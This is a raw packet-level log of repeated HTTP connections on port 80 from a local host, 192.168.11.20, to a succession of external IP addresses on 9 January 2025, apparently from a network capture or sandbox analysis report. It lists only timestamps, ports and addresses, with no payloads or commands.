Jan 9, 2025 16:50:02.566278934 CET	80	49780	202.95.11.110	192.168.11.20
Jan 9, 2025 16:50:02.566293955 CET	80	49780	202.95.11.110	192.168.11.20
Jan 9, 2025 16:50:02.566505909 CET	49780	80	192.168.11.20	202.95.11.110
Jan 9, 2025 16:50:03.724781036 CET	49780	80	192.168.11.20	202.95.11.110
Jan 9, 2025 16:50:04.741606951 CET	49781	80	192.168.11.20	202.95.11.110
Jan 9, 2025 16:50:05.041197062 CET	80	49781	202.95.11.110	192.168.11.20
Jan 9, 2025 16:50:05.041445971 CET	49781	80	192.168.11.20	202.95.11.110
Jan 9, 2025 16:50:05.043828011 CET	49781	80	192.168.11.20	202.95.11.110
Jan 9, 2025 16:50:05.343453884 CET	80	49781	202.95.11.110	192.168.11.20
Jan 9, 2025 16:50:05.566122055 CET	80	49781	202.95.11.110	192.168.11.20
Jan 9, 2025 16:50:05.566138029 CET	80	49781	202.95.11.110	192.168.11.20
Jan 9, 2025 16:50:05.566421986 CET	49781	80	192.168.11.20	202.95.11.110
Jan 9, 2025 16:50:05.567126036 CET	49781	80	192.168.11.20	202.95.11.110
Jan 9, 2025 16:50:05.866420031 CET	80	49781	202.95.11.110	192.168.11.20
Jan 9, 2025 16:50:10.767122030 CET	49782	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:50:10.905216932 CET	80	49782	76.223.54.146	192.168.11.20
Jan 9, 2025 16:50:10.905483961 CET	49782	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:50:10.911880016 CET	49782	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:50:11.048551083 CET	80	49782	76.223.54.146	192.168.11.20
Jan 9, 2025 16:50:11.048593998 CET	80	49782	76.223.54.146	192.168.11.20
Jan 9, 2025 16:50:11.048801899 CET	49782	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:50:12.425976992 CET	49782	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:50:13.441582918 CET	49783	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:50:14.455758095 CET	49783	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:50:14.593086004 CET	80	49783	76.223.54.146	192.168.11.20
Jan 9, 2025 16:50:14.593306065 CET	49783	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:50:14.596770048 CET	49783	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:50:14.734087944 CET	80	49783	76.223.54.146	192.168.11.20
Jan 9, 2025 16:50:14.734131098 CET	80	49783	76.223.54.146	192.168.11.20
Jan 9, 2025 16:50:14.734266996 CET	49783	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:50:16.112643003 CET	49783	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:50:17.129574060 CET	49784	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:50:17.268563986 CET	80	49784	76.223.54.146	192.168.11.20
Jan 9, 2025 16:50:17.268820047 CET	49784	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:50:17.275460005 CET	49784	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:50:17.275537014 CET	49784	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:50:17.418812990 CET	80	49784	76.223.54.146	192.168.11.20
Jan 9, 2025 16:50:17.419385910 CET	80	49784	76.223.54.146	192.168.11.20
Jan 9, 2025 16:50:17.419428110 CET	80	49784	76.223.54.146	192.168.11.20
Jan 9, 2025 16:50:17.419595003 CET	49784	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:50:18.784054041 CET	49784	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:50:19.800826073 CET	49785	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:50:19.939301014 CET	80	49785	76.223.54.146	192.168.11.20
Jan 9, 2025 16:50:19.939495087 CET	49785	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:50:19.942708015 CET	49785	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:50:20.090145111 CET	80	49785	76.223.54.146	192.168.11.20
Jan 9, 2025 16:50:20.090154886 CET	80	49785	76.223.54.146	192.168.11.20
Jan 9, 2025 16:50:20.090490103 CET	49785	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:50:20.091725111 CET	49785	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:50:20.228374004 CET	80	49785	76.223.54.146	192.168.11.20
Jan 9, 2025 16:50:25.313998938 CET	49786	80	192.168.11.20	103.106.67.112
Jan 9, 2025 16:50:25.487694025 CET	80	49786	103.106.67.112	192.168.11.20
Jan 9, 2025 16:50:25.487963915 CET	49786	80	192.168.11.20	103.106.67.112
Jan 9, 2025 16:50:25.494653940 CET	49786	80	192.168.11.20	103.106.67.112
Jan 9, 2025 16:50:25.668437004 CET	80	49786	103.106.67.112	192.168.11.20
Jan 9, 2025 16:50:25.749278069 CET	80	49786	103.106.67.112	192.168.11.20
Jan 9, 2025 16:50:25.749299049 CET	80	49786	103.106.67.112	192.168.11.20
Jan 9, 2025 16:50:25.749494076 CET	49786	80	192.168.11.20	103.106.67.112
Jan 9, 2025 16:50:27.001038074 CET	49786	80	192.168.11.20	103.106.67.112
Jan 9, 2025 16:50:28.017678976 CET	49787	80	192.168.11.20	103.106.67.112
Jan 9, 2025 16:50:28.191350937 CET	80	49787	103.106.67.112	192.168.11.20
Jan 9, 2025 16:50:28.191631079 CET	49787	80	192.168.11.20	103.106.67.112
Jan 9, 2025 16:50:28.198297024 CET	49787	80	192.168.11.20	103.106.67.112
Jan 9, 2025 16:50:28.372354984 CET	80	49787	103.106.67.112	192.168.11.20
Jan 9, 2025 16:50:28.452150106 CET	80	49787	103.106.67.112	192.168.11.20
Jan 9, 2025 16:50:28.452159882 CET	80	49787	103.106.67.112	192.168.11.20
Jan 9, 2025 16:50:28.452346087 CET	49787	80	192.168.11.20	103.106.67.112
Jan 9, 2025 16:50:29.703520060 CET	49787	80	192.168.11.20	103.106.67.112
Jan 9, 2025 16:50:30.719228029 CET	49788	80	192.168.11.20	103.106.67.112
Jan 9, 2025 16:50:30.893115997 CET	80	49788	103.106.67.112	192.168.11.20
Jan 9, 2025 16:50:30.893323898 CET	49788	80	192.168.11.20	103.106.67.112
Jan 9, 2025 16:50:30.896866083 CET	49788	80	192.168.11.20	103.106.67.112
Jan 9, 2025 16:50:30.896893978 CET	49788	80	192.168.11.20	103.106.67.112
Jan 9, 2025 16:50:30.896965027 CET	49788	80	192.168.11.20	103.106.67.112
Jan 9, 2025 16:50:31.070748091 CET	80	49788	103.106.67.112	192.168.11.20
Jan 9, 2025 16:50:31.070761919 CET	80	49788	103.106.67.112	192.168.11.20
Jan 9, 2025 16:50:31.070770979 CET	80	49788	103.106.67.112	192.168.11.20
Jan 9, 2025 16:50:31.071088076 CET	80	49788	103.106.67.112	192.168.11.20
Jan 9, 2025 16:50:31.071336985 CET	80	49788	103.106.67.112	192.168.11.20
Jan 9, 2025 16:50:31.150913000 CET	80	49788	103.106.67.112	192.168.11.20
Jan 9, 2025 16:50:31.150928020 CET	80	49788	103.106.67.112	192.168.11.20
Jan 9, 2025 16:50:31.151067972 CET	49788	80	192.168.11.20	103.106.67.112
Jan 9, 2025 16:50:32.406136036 CET	49788	80	192.168.11.20	103.106.67.112
Jan 9, 2025 16:50:33.422913074 CET	49789	80	192.168.11.20	103.106.67.112
Jan 9, 2025 16:50:33.596860886 CET	80	49789	103.106.67.112	192.168.11.20
Jan 9, 2025 16:50:33.597100973 CET	49789	80	192.168.11.20	103.106.67.112
Jan 9, 2025 16:50:33.601604939 CET	49789	80	192.168.11.20	103.106.67.112
Jan 9, 2025 16:50:33.775223017 CET	80	49789	103.106.67.112	192.168.11.20
Jan 9, 2025 16:50:33.855196953 CET	80	49789	103.106.67.112	192.168.11.20
Jan 9, 2025 16:50:33.855212927 CET	80	49789	103.106.67.112	192.168.11.20
Jan 9, 2025 16:50:33.855509043 CET	49789	80	192.168.11.20	103.106.67.112
Jan 9, 2025 16:50:33.856681108 CET	49789	80	192.168.11.20	103.106.67.112
Jan 9, 2025 16:50:34.030430079 CET	80	49789	103.106.67.112	192.168.11.20
Jan 9, 2025 16:50:39.026952028 CET	49790	80	192.168.11.20	104.21.112.1
Jan 9, 2025 16:50:39.145503998 CET	80	49790	104.21.112.1	192.168.11.20
Jan 9, 2025 16:50:39.145749092 CET	49790	80	192.168.11.20	104.21.112.1
Jan 9, 2025 16:50:39.149307966 CET	49790	80	192.168.11.20	104.21.112.1
Jan 9, 2025 16:50:39.267930031 CET	80	49790	104.21.112.1	192.168.11.20
Jan 9, 2025 16:50:39.402750969 CET	80	49790	104.21.112.1	192.168.11.20
Jan 9, 2025 16:50:39.402765989 CET	80	49790	104.21.112.1	192.168.11.20
Jan 9, 2025 16:50:39.402901888 CET	80	49790	104.21.112.1	192.168.11.20
Jan 9, 2025 16:50:39.403064013 CET	49790	80	192.168.11.20	104.21.112.1
Jan 9, 2025 16:50:39.403091908 CET	49790	80	192.168.11.20	104.21.112.1
Jan 9, 2025 16:50:40.654427052 CET	49790	80	192.168.11.20	104.21.112.1
Jan 9, 2025 16:50:41.671205044 CET	49791	80	192.168.11.20	104.21.112.1
Jan 9, 2025 16:50:41.790436029 CET	80	49791	104.21.112.1	192.168.11.20
Jan 9, 2025 16:50:41.790601015 CET	49791	80	192.168.11.20	104.21.112.1
Jan 9, 2025 16:50:41.797319889 CET	49791	80	192.168.11.20	104.21.112.1
Jan 9, 2025 16:50:41.918745041 CET	80	49791	104.21.112.1	192.168.11.20
Jan 9, 2025 16:50:42.056384087 CET	80	49791	104.21.112.1	192.168.11.20
Jan 9, 2025 16:50:42.056399107 CET	80	49791	104.21.112.1	192.168.11.20
Jan 9, 2025 16:50:42.056499958 CET	80	49791	104.21.112.1	192.168.11.20
Jan 9, 2025 16:50:42.056631088 CET	49791	80	192.168.11.20	104.21.112.1
Jan 9, 2025 16:50:42.056679010 CET	49791	80	192.168.11.20	104.21.112.1
Jan 9, 2025 16:50:43.310148001 CET	49791	80	192.168.11.20	104.21.112.1
Jan 9, 2025 16:50:44.325726986 CET	49792	80	192.168.11.20	104.21.112.1
Jan 9, 2025 16:50:44.444396019 CET	80	49792	104.21.112.1	192.168.11.20
Jan 9, 2025 16:50:44.444587946 CET	49792	80	192.168.11.20	104.21.112.1
Jan 9, 2025 16:50:44.451785088 CET	49792	80	192.168.11.20	104.21.112.1
Jan 9, 2025 16:50:44.451836109 CET	49792	80	192.168.11.20	104.21.112.1
Jan 9, 2025 16:50:44.570327997 CET	80	49792	104.21.112.1	192.168.11.20
Jan 9, 2025 16:50:44.570472956 CET	80	49792	104.21.112.1	192.168.11.20
Jan 9, 2025 16:50:44.570748091 CET	80	49792	104.21.112.1	192.168.11.20
Jan 9, 2025 16:50:44.570841074 CET	80	49792	104.21.112.1	192.168.11.20
Jan 9, 2025 16:50:44.571067095 CET	80	49792	104.21.112.1	192.168.11.20
Jan 9, 2025 16:50:44.571297884 CET	80	49792	104.21.112.1	192.168.11.20
Jan 9, 2025 16:50:44.772950888 CET	80	49792	104.21.112.1	192.168.11.20
Jan 9, 2025 16:50:44.773082972 CET	80	49792	104.21.112.1	192.168.11.20
Jan 9, 2025 16:50:44.773236990 CET	49792	80	192.168.11.20	104.21.112.1
Jan 9, 2025 16:50:44.774693966 CET	80	49792	104.21.112.1	192.168.11.20
Jan 9, 2025 16:50:44.774868011 CET	49792	80	192.168.11.20	104.21.112.1
Jan 9, 2025 16:50:45.965809107 CET	49792	80	192.168.11.20	104.21.112.1
Jan 9, 2025 16:50:46.981437922 CET	49793	80	192.168.11.20	104.21.112.1
Jan 9, 2025 16:50:47.100086927 CET	80	49793	104.21.112.1	192.168.11.20
Jan 9, 2025 16:50:47.100317955 CET	49793	80	192.168.11.20	104.21.112.1
Jan 9, 2025 16:50:47.104903936 CET	49793	80	192.168.11.20	104.21.112.1
Jan 9, 2025 16:50:47.223443031 CET	80	49793	104.21.112.1	192.168.11.20
Jan 9, 2025 16:50:47.744864941 CET	80	49793	104.21.112.1	192.168.11.20
Jan 9, 2025 16:50:47.744882107 CET	80	49793	104.21.112.1	192.168.11.20
Jan 9, 2025 16:50:47.745018005 CET	80	49793	104.21.112.1	192.168.11.20
Jan 9, 2025 16:50:47.745208979 CET	49793	80	192.168.11.20	104.21.112.1
Jan 9, 2025 16:50:47.745573997 CET	80	49793	104.21.112.1	192.168.11.20
Jan 9, 2025 16:50:47.745754004 CET	49793	80	192.168.11.20	104.21.112.1
Jan 9, 2025 16:50:47.746321917 CET	49793	80	192.168.11.20	104.21.112.1
Jan 9, 2025 16:50:47.864893913 CET	80	49793	104.21.112.1	192.168.11.20
Jan 9, 2025 16:51:03.991451979 CET	49794	80	192.168.11.20	194.9.94.85
Jan 9, 2025 16:51:04.238154888 CET	80	49794	194.9.94.85	192.168.11.20
Jan 9, 2025 16:51:04.238456964 CET	49794	80	192.168.11.20	194.9.94.85
Jan 9, 2025 16:51:04.243014097 CET	49794	80	192.168.11.20	194.9.94.85
Jan 9, 2025 16:51:04.484817982 CET	80	49794	194.9.94.85	192.168.11.20
Jan 9, 2025 16:51:04.492722034 CET	80	49794	194.9.94.85	192.168.11.20
Jan 9, 2025 16:51:04.492779016 CET	80	49794	194.9.94.85	192.168.11.20
Jan 9, 2025 16:51:04.492858887 CET	80	49794	194.9.94.85	192.168.11.20
Jan 9, 2025 16:51:04.492899895 CET	80	49794	194.9.94.85	192.168.11.20
Jan 9, 2025 16:51:04.493042946 CET	49794	80	192.168.11.20	194.9.94.85
Jan 9, 2025 16:51:04.493123055 CET	80	49794	194.9.94.85	192.168.11.20
Jan 9, 2025 16:51:04.493153095 CET	49794	80	192.168.11.20	194.9.94.85
Jan 9, 2025 16:51:04.493166924 CET	80	49794	194.9.94.85	192.168.11.20
Jan 9, 2025 16:51:04.493462086 CET	49794	80	192.168.11.20	194.9.94.85
Jan 9, 2025 16:51:04.494833946 CET	49794	80	192.168.11.20	194.9.94.85
Jan 9, 2025 16:51:04.741467953 CET	80	49794	194.9.94.85	192.168.11.20
Jan 9, 2025 16:51:09.507977009 CET	49795	80	192.168.11.20	198.58.118.167
Jan 9, 2025 16:51:09.650382996 CET	80	49795	198.58.118.167	192.168.11.20
Jan 9, 2025 16:51:09.650613070 CET	49795	80	192.168.11.20	198.58.118.167
Jan 9, 2025 16:51:09.654333115 CET	49795	80	192.168.11.20	198.58.118.167
Jan 9, 2025 16:51:09.800008059 CET	80	49795	198.58.118.167	192.168.11.20
Jan 9, 2025 16:51:09.800015926 CET	80	49795	198.58.118.167	192.168.11.20
Jan 9, 2025 16:51:09.800195932 CET	49795	80	192.168.11.20	198.58.118.167
Jan 9, 2025 16:51:11.163464069 CET	49795	80	192.168.11.20	198.58.118.167
Jan 9, 2025 16:51:12.180735111 CET	49796	80	192.168.11.20	198.58.118.167
Jan 9, 2025 16:51:12.323076963 CET	80	49796	198.58.118.167	192.168.11.20
Jan 9, 2025 16:51:12.323261023 CET	49796	80	192.168.11.20	198.58.118.167
Jan 9, 2025 16:51:12.329804897 CET	49796	80	192.168.11.20	198.58.118.167
Jan 9, 2025 16:51:12.475404024 CET	80	49796	198.58.118.167	192.168.11.20
Jan 9, 2025 16:51:12.475414991 CET	80	49796	198.58.118.167	192.168.11.20
Jan 9, 2025 16:51:12.475651979 CET	49796	80	192.168.11.20	198.58.118.167
Jan 9, 2025 16:51:13.834775925 CET	49796	80	192.168.11.20	198.58.118.167
Jan 9, 2025 16:51:14.852055073 CET	49797	80	192.168.11.20	198.58.118.167
Jan 9, 2025 16:51:14.994539022 CET	80	49797	198.58.118.167	192.168.11.20
Jan 9, 2025 16:51:14.994704962 CET	49797	80	192.168.11.20	198.58.118.167
Jan 9, 2025 16:51:15.001622915 CET	49797	80	192.168.11.20	198.58.118.167
Jan 9, 2025 16:51:15.001667976 CET	49797	80	192.168.11.20	198.58.118.167
Jan 9, 2025 16:51:15.144190073 CET	80	49797	198.58.118.167	192.168.11.20
Jan 9, 2025 16:51:15.144418001 CET	80	49797	198.58.118.167	192.168.11.20
Jan 9, 2025 16:51:15.144650936 CET	80	49797	198.58.118.167	192.168.11.20
Jan 9, 2025 16:51:15.144691944 CET	80	49797	198.58.118.167	192.168.11.20
Jan 9, 2025 16:51:15.145132065 CET	80	49797	198.58.118.167	192.168.11.20
Jan 9, 2025 16:51:15.147986889 CET	80	49797	198.58.118.167	192.168.11.20
Jan 9, 2025 16:51:15.148030996 CET	80	49797	198.58.118.167	192.168.11.20
Jan 9, 2025 16:51:15.148192883 CET	49797	80	192.168.11.20	198.58.118.167
Jan 9, 2025 16:51:16.506159067 CET	49797	80	192.168.11.20	198.58.118.167
Jan 9, 2025 16:51:17.522948980 CET	49798	80	192.168.11.20	198.58.118.167
Jan 9, 2025 16:51:17.665361881 CET	80	49798	198.58.118.167	192.168.11.20
Jan 9, 2025 16:51:17.665615082 CET	49798	80	192.168.11.20	198.58.118.167
Jan 9, 2025 16:51:17.670087099 CET	49798	80	192.168.11.20	198.58.118.167
Jan 9, 2025 16:51:17.815334082 CET	80	49798	198.58.118.167	192.168.11.20
Jan 9, 2025 16:51:17.815377951 CET	80	49798	198.58.118.167	192.168.11.20
Jan 9, 2025 16:51:17.815412045 CET	80	49798	198.58.118.167	192.168.11.20
Jan 9, 2025 16:51:17.815682888 CET	49798	80	192.168.11.20	198.58.118.167
Jan 9, 2025 16:51:17.816927910 CET	49798	80	192.168.11.20	198.58.118.167
Jan 9, 2025 16:51:17.959017038 CET	80	49798	198.58.118.167	192.168.11.20
Jan 9, 2025 16:51:22.833194971 CET	49799	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:51:22.951797009 CET	80	49799	104.21.96.1	192.168.11.20
Jan 9, 2025 16:51:22.951913118 CET	49799	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:51:22.958621025 CET	49799	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:51:23.077524900 CET	80	49799	104.21.96.1	192.168.11.20
Jan 9, 2025 16:51:23.504389048 CET	80	49799	104.21.96.1	192.168.11.20
Jan 9, 2025 16:51:23.504467964 CET	80	49799	104.21.96.1	192.168.11.20
Jan 9, 2025 16:51:23.504498005 CET	80	49799	104.21.96.1	192.168.11.20
Jan 9, 2025 16:51:23.504673004 CET	49799	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:51:23.504842997 CET	80	49799	104.21.96.1	192.168.11.20
Jan 9, 2025 16:51:23.504981041 CET	49799	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:51:24.473150969 CET	49799	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:51:25.489861012 CET	49800	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:51:25.609513044 CET	80	49800	104.21.96.1	192.168.11.20
Jan 9, 2025 16:51:25.609764099 CET	49800	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:51:25.615835905 CET	49800	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:51:25.735202074 CET	80	49800	104.21.96.1	192.168.11.20
Jan 9, 2025 16:51:26.157382965 CET	80	49800	104.21.96.1	192.168.11.20
Jan 9, 2025 16:51:26.157428026 CET	80	49800	104.21.96.1	192.168.11.20
Jan 9, 2025 16:51:26.157605886 CET	49800	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:51:26.157773972 CET	80	49800	104.21.96.1	192.168.11.20
Jan 9, 2025 16:51:26.157991886 CET	49800	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:51:27.128726959 CET	49800	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:51:28.145760059 CET	49801	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:51:28.264552116 CET	80	49801	104.21.96.1	192.168.11.20
Jan 9, 2025 16:51:28.264745951 CET	49801	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:51:28.271469116 CET	49801	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:51:28.271497011 CET	49801	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:51:28.271570921 CET	49801	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:51:28.390090942 CET	80	49801	104.21.96.1	192.168.11.20
Jan 9, 2025 16:51:28.390301943 CET	80	49801	104.21.96.1	192.168.11.20
Jan 9, 2025 16:51:28.390589952 CET	80	49801	104.21.96.1	192.168.11.20
Jan 9, 2025 16:51:28.390599966 CET	80	49801	104.21.96.1	192.168.11.20
Jan 9, 2025 16:51:28.390836000 CET	80	49801	104.21.96.1	192.168.11.20
Jan 9, 2025 16:51:28.855375051 CET	80	49801	104.21.96.1	192.168.11.20
Jan 9, 2025 16:51:28.855509043 CET	80	49801	104.21.96.1	192.168.11.20
Jan 9, 2025 16:51:28.855880976 CET	49801	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:51:28.856323957 CET	80	49801	104.21.96.1	192.168.11.20
Jan 9, 2025 16:51:28.856488943 CET	49801	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:51:29.784624100 CET	49801	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:51:30.800520897 CET	49802	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:51:30.919219971 CET	80	49802	104.21.96.1	192.168.11.20
Jan 9, 2025 16:51:30.919424057 CET	49802	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:51:30.923999071 CET	49802	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:51:31.042606115 CET	80	49802	104.21.96.1	192.168.11.20
Jan 9, 2025 16:51:31.459163904 CET	80	49802	104.21.96.1	192.168.11.20
Jan 9, 2025 16:51:31.459302902 CET	80	49802	104.21.96.1	192.168.11.20
Jan 9, 2025 16:51:31.459454060 CET	49802	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:51:31.460108995 CET	80	49802	104.21.96.1	192.168.11.20
Jan 9, 2025 16:51:31.460300922 CET	49802	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:51:31.461380005 CET	49802	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:51:31.579725027 CET	80	49802	104.21.96.1	192.168.11.20
Jan 9, 2025 16:51:36.472059965 CET	49803	80	192.168.11.20	199.192.21.169
Jan 9, 2025 16:51:36.644311905 CET	80	49803	199.192.21.169	192.168.11.20
Jan 9, 2025 16:51:36.644499063 CET	49803	80	192.168.11.20	199.192.21.169
Jan 9, 2025 16:51:36.651113033 CET	49803	80	192.168.11.20	199.192.21.169
Jan 9, 2025 16:51:36.823652029 CET	80	49803	199.192.21.169	192.168.11.20
Jan 9, 2025 16:51:36.843951941 CET	80	49803	199.192.21.169	192.168.11.20
Jan 9, 2025 16:51:36.843996048 CET	80	49803	199.192.21.169	192.168.11.20
Jan 9, 2025 16:51:36.844192028 CET	49803	80	192.168.11.20	199.192.21.169
Jan 9, 2025 16:51:38.157325029 CET	49803	80	192.168.11.20	199.192.21.169
Jan 9, 2025 16:51:39.174323082 CET	49804	80	192.168.11.20	199.192.21.169
Jan 9, 2025 16:51:39.347481966 CET	80	49804	199.192.21.169	192.168.11.20
Jan 9, 2025 16:51:39.347744942 CET	49804	80	192.168.11.20	199.192.21.169
Jan 9, 2025 16:51:39.351360083 CET	49804	80	192.168.11.20	199.192.21.169
Jan 9, 2025 16:51:39.524208069 CET	80	49804	199.192.21.169	192.168.11.20
Jan 9, 2025 16:51:39.544110060 CET	80	49804	199.192.21.169	192.168.11.20
Jan 9, 2025 16:51:39.544120073 CET	80	49804	199.192.21.169	192.168.11.20
Jan 9, 2025 16:51:39.544389963 CET	49804	80	192.168.11.20	199.192.21.169
Jan 9, 2025 16:51:40.860513926 CET	49804	80	192.168.11.20	199.192.21.169
Jan 9, 2025 16:51:41.877408028 CET	49805	80	192.168.11.20	199.192.21.169
Jan 9, 2025 16:51:42.049768925 CET	80	49805	199.192.21.169	192.168.11.20
Jan 9, 2025 16:51:42.049966097 CET	49805	80	192.168.11.20	199.192.21.169
Jan 9, 2025 16:51:42.056781054 CET	49805	80	192.168.11.20	199.192.21.169
Jan 9, 2025 16:51:42.056830883 CET	49805	80	192.168.11.20	199.192.21.169
Jan 9, 2025 16:51:42.056884050 CET	49805	80	192.168.11.20	199.192.21.169
Jan 9, 2025 16:51:42.229502916 CET	80	49805	199.192.21.169	192.168.11.20
Jan 9, 2025 16:51:42.229525089 CET	80	49805	199.192.21.169	192.168.11.20
Jan 9, 2025 16:51:42.229538918 CET	80	49805	199.192.21.169	192.168.11.20
Jan 9, 2025 16:51:42.229798079 CET	80	49805	199.192.21.169	192.168.11.20
Jan 9, 2025 16:51:42.254570007 CET	80	49805	199.192.21.169	192.168.11.20
Jan 9, 2025 16:51:42.254592896 CET	80	49805	199.192.21.169	192.168.11.20
Jan 9, 2025 16:51:42.254723072 CET	49805	80	192.168.11.20	199.192.21.169
Jan 9, 2025 16:51:43.562985897 CET	49805	80	192.168.11.20	199.192.21.169
Jan 9, 2025 16:51:44.579277992 CET	49806	80	192.168.11.20	199.192.21.169
Jan 9, 2025 16:51:44.752249956 CET	80	49806	199.192.21.169	192.168.11.20
Jan 9, 2025 16:51:44.752556086 CET	49806	80	192.168.11.20	199.192.21.169
Jan 9, 2025 16:51:44.757000923 CET	49806	80	192.168.11.20	199.192.21.169
Jan 9, 2025 16:51:44.929544926 CET	80	49806	199.192.21.169	192.168.11.20
Jan 9, 2025 16:51:44.941435099 CET	80	49806	199.192.21.169	192.168.11.20
Jan 9, 2025 16:51:44.941442966 CET	80	49806	199.192.21.169	192.168.11.20
Jan 9, 2025 16:51:44.941797972 CET	49806	80	192.168.11.20	199.192.21.169
Jan 9, 2025 16:51:44.943084955 CET	49806	80	192.168.11.20	199.192.21.169
Jan 9, 2025 16:51:45.121125937 CET	80	49806	199.192.21.169	192.168.11.20
Jan 9, 2025 16:51:58.123229027 CET	49807	80	192.168.11.20	47.83.1.90
Jan 9, 2025 16:51:58.433916092 CET	80	49807	47.83.1.90	192.168.11.20
Jan 9, 2025 16:51:58.434088945 CET	49807	80	192.168.11.20	47.83.1.90
Jan 9, 2025 16:51:58.437582970 CET	49807	80	192.168.11.20	47.83.1.90
Jan 9, 2025 16:51:58.748205900 CET	80	49807	47.83.1.90	192.168.11.20
Jan 9, 2025 16:51:59.430126905 CET	80	49807	47.83.1.90	192.168.11.20
Jan 9, 2025 16:51:59.430138111 CET	80	49807	47.83.1.90	192.168.11.20
Jan 9, 2025 16:51:59.430233002 CET	49807	80	192.168.11.20	47.83.1.90
Jan 9, 2025 16:51:59.950131893 CET	49807	80	192.168.11.20	47.83.1.90
Jan 9, 2025 16:52:00.967410088 CET	49808	80	192.168.11.20	47.83.1.90
Jan 9, 2025 16:52:01.266761065 CET	80	49808	47.83.1.90	192.168.11.20
Jan 9, 2025 16:52:01.267225981 CET	49808	80	192.168.11.20	47.83.1.90
Jan 9, 2025 16:52:01.270879030 CET	49808	80	192.168.11.20	47.83.1.90
Jan 9, 2025 16:52:01.569952011 CET	80	49808	47.83.1.90	192.168.11.20
Jan 9, 2025 16:52:02.291054010 CET	80	49808	47.83.1.90	192.168.11.20
Jan 9, 2025 16:52:02.291101933 CET	80	49808	47.83.1.90	192.168.11.20
Jan 9, 2025 16:52:02.291301012 CET	49808	80	192.168.11.20	47.83.1.90
Jan 9, 2025 16:52:02.777558088 CET	49808	80	192.168.11.20	47.83.1.90
Jan 9, 2025 16:52:03.794389009 CET	49809	80	192.168.11.20	47.83.1.90
Jan 9, 2025 16:52:04.103945971 CET	80	49809	47.83.1.90	192.168.11.20
Jan 9, 2025 16:52:04.104228973 CET	49809	80	192.168.11.20	47.83.1.90
Jan 9, 2025 16:52:04.110891104 CET	49809	80	192.168.11.20	47.83.1.90
Jan 9, 2025 16:52:04.110974073 CET	49809	80	192.168.11.20	47.83.1.90
Jan 9, 2025 16:52:04.420485973 CET	80	49809	47.83.1.90	192.168.11.20
Jan 9, 2025 16:52:04.420732975 CET	80	49809	47.83.1.90	192.168.11.20
Jan 9, 2025 16:52:04.420772076 CET	80	49809	47.83.1.90	192.168.11.20
Jan 9, 2025 16:52:04.420998096 CET	80	49809	47.83.1.90	192.168.11.20
Jan 9, 2025 16:52:04.421291113 CET	80	49809	47.83.1.90	192.168.11.20
Jan 9, 2025 16:52:04.421333075 CET	80	49809	47.83.1.90	192.168.11.20
Jan 9, 2025 16:52:05.101855993 CET	80	49809	47.83.1.90	192.168.11.20
Jan 9, 2025 16:52:05.101877928 CET	80	49809	47.83.1.90	192.168.11.20
Jan 9, 2025 16:52:05.102103949 CET	49809	80	192.168.11.20	47.83.1.90
Jan 9, 2025 16:52:05.620635033 CET	49809	80	192.168.11.20	47.83.1.90
Jan 9, 2025 16:52:06.636502028 CET	49810	80	192.168.11.20	47.83.1.90
Jan 9, 2025 16:52:06.947571039 CET	80	49810	47.83.1.90	192.168.11.20
Jan 9, 2025 16:52:06.947765112 CET	49810	80	192.168.11.20	47.83.1.90
Jan 9, 2025 16:52:06.955643892 CET	49810	80	192.168.11.20	47.83.1.90
Jan 9, 2025 16:52:07.266966105 CET	80	49810	47.83.1.90	192.168.11.20
Jan 9, 2025 16:52:07.952403069 CET	80	49810	47.83.1.90	192.168.11.20
Jan 9, 2025 16:52:07.952579975 CET	80	49810	47.83.1.90	192.168.11.20
Jan 9, 2025 16:52:07.952796936 CET	49810	80	192.168.11.20	47.83.1.90
Jan 9, 2025 16:52:07.953932047 CET	49810	80	192.168.11.20	47.83.1.90
Jan 9, 2025 16:52:08.264956951 CET	80	49810	47.83.1.90	192.168.11.20
Jan 9, 2025 16:52:12.963181019 CET	49811	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:52:13.977304935 CET	49811	80	192.168.11.20	76.223.54.146
